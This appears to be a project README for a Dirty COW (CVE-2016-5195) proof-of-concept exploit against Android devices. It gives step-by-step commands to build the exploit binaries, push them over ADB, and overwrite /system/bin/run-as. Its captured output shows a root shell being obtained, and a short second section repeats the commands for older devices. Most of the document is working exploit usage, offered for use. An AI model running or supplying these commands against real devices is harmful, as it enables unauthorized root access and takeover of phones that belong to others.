CVE-2016-5195

CVE-2016-5195 (dirty cow/dirtycow/dirtyc0w) proof of concept for Android.

This repository demonstrates the vulnerability on vulnerable Android devices attached via ADB. It does not disable SELinux (see timwr#9) or install superuser on the device.

Requirements

Install Android NDK:

wget https://dl.google.com/android/repository/android-ndk-r19c-linux-x86_64.zip -O $HOME/Downloads/android-ndk.zip
unzip -qq $HOME/Downloads/android-ndk.zip -d $HOME/Downloads/
export PATH=$PATH:/root/Downloads/android-ndk-r19b

Clone repo:

git clone https://github.com/VFPAP/CVE-2016-5195.git $HOME/Downloads/
cd $HOME/Downloads/CVE-2016-5195

Make sure device is connected via ADB:

adb devices

Usage

Compile binaries (once per device)

$ make root
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory '/home/user/dev/git/exploits/CVE-2016-5195'
[arm64-v8a] Install        : dirtycow => libs/arm64-v8a/dirtycow
[arm64-v8a] Install        : run-as => libs/arm64-v8a/run-as
[x86_64] Install        : dirtycow => libs/x86_64/dirtycow
[x86_64] Install        : run-as => libs/x86_64/run-as
[mips64] Install        : dirtycow => libs/mips64/dirtycow
[mips64] Install        : run-as => libs/mips64/run-as
[armeabi-v7a] Install        : dirtycow => libs/armeabi-v7a/dirtycow
[armeabi-v7a] Install        : run-as => libs/armeabi-v7a/run-as
[armeabi] Install        : dirtycow => libs/armeabi/dirtycow
[armeabi] Install        : run-as => libs/armeabi/run-as
[x86] Install        : dirtycow => libs/x86/dirtycow
[x86] Install        : run-as => libs/x86/run-as
[mips] Install        : dirtycow => libs/mips/dirtycow
[mips] Install        : run-as => libs/mips/run-as
make[1]: Leaving directory '/home/user/dev/git/exploits/CVE-2016-5195'
adb push libs/armeabi-v7a/dirtycow /data/local/tmp/dcow
[100%] /data/local/tmp/dcow
adb push libs/armeabi-v7a/run-as /data/local/tmp/run-as
[100%] /data/local/tmp/run-as
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (5544) and destination file size (17944) differ

[*] size 5544
[*] mmap 0xb536b000
[*] currently 0xb536b000=464c457f
[*] madvise = 0xb536b000 5544
[*] madvise = 0 0
[*] /proc/self/mem 5544 1
[*] exploited 0xb536b000=464c457f
adb shell /system/bin/run-as
uid /system/bin/run-as 2000
uid 0
0 u:r:runas:s0
context 0 u:r:shell:s0
/system/bin/sh: can't find tty fd: No such device or address
/system/bin/sh: warning: won't have full job control
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
shamu:/ # 

Get root shell with previously compiled binaries:

Eg: Android 4.4.2 - TBee

adb push $HOME/Downloads/CVE-2016-5195/libs/armeabi-v7a/dirtycow /data/local/tmp/dcow
adb push $HOME/Downloads/CVE-2016-5195/libs/armeabi-v7a/run-as /data/local/tmp/run-as
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
adb shell /system/bin/run-as